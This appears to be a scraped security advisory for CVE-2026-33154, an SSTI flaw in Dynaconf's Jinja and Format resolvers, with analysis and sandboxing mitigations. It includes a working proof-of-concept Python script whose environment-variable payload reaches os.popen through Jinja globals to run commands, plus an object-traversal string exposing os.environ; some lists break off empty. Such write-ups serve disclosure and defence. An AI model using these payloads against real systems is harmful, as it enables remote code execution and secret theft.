
Proof-of-concept exploit for CVE-2026-33154, demonstrating remote code execution via SSTI in Dynaconf's Jinja resolver, with analysis and mitigation guidance.
Dynaconf is vulnerable to Server-Side Template Injection (SSTI) due to unsafe template evaluation in the __@Jinja__ resolver. When the jinja2 package is installed, Dynaconf evaluates template expressions embedded in configuration values without a sandboxed environment.
If an attacker can influence configuration sources such as:
.env files...they can execute arbitrary OS commands on the host system. In addition, the __@Format__ resolver allows object graph traversal, which may expose sensitive runtime objects and environment variables.
The vulnerability arises because Dynaconf's string resolvers lack proper security boundaries.
__@Jinja__The __@Jinja__ resolver renders templates using full Jinja2 evaluation. However, the rendering context is not sandboxed, which allows attackers to access Python's internal attributes. Using objects such as cycler, attackers can reach Python's globals and import the os module.
Example attack path:
cycler → __init__ → __globals__ → os → popen()
This leads to arbitrary command execution.
__@Format__ ResolverThe __@Format__ resolver performs Python string formatting using internal objects. This allows attackers to traverse Python's object graph and access sensitive runtime objects.
Example traversal:
{this.__class__.__init__.__globals__[os].environ}
This can expose:
import os
from dynaconf import Dynaconf
# Malicious configuration injection
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Command Execution Result:")
print(settings.RCE)
Successful exploitation allows attackers to:
Because configuration values may originate from CI/CD pipelines, container orchestration systems, or environment injection, this vulnerability can become remotely exploitable in real-world deployments.
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)
__@Format__ Usage to Trusted Valuessafe_value = "{name}".format(name=trusted_name)